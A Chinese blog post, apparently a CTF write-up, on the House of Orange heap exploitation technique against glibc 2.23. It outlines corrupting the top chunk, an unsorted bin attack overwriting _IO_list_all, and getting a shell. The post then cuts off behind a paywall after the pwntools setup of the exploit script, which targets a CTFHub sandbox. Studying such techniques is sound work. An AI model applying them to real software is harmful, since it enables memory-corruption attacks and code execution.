House of orange也是我第一次学,边学边做题,来来回回折腾了8小时,代码检查了一遍又一遍,没问题但总是打不成功,最后百度查了一下这个是概率成功,我哭了。白白浪费了这么久时间。
参考文章
关于house of orange(unsorted bin attack &&FSOP)的学习总结
思路:
House of orange改top chunk的size位,之后申请一个大于top chunk的大小的chunk,会把old top chunk释放掉,之后就可以泄露地址。改写free chunk的内容。然后利用unsorted bin attack吧main_arena+88的地址写进 _IO_list_all
这里是篡改unsorted bin的之后内容,申请一个small bin大小的chunk拿到shell

EXP:
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",20723)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data

文章详细描述了在Houseoforange问题中如何利用堆溢出和unsortedbin攻击来修改内存中的chunk,并通过泄露和操纵内存地址获取shell的过程。作者分享了编写exploit代码的步骤,包括添加、编辑和显示笔记以控制内存布局,以及最终利用系统函数执行命令。
最低0.47元/天 解锁文章
1375

被折叠的 条评论
为什么被折叠?



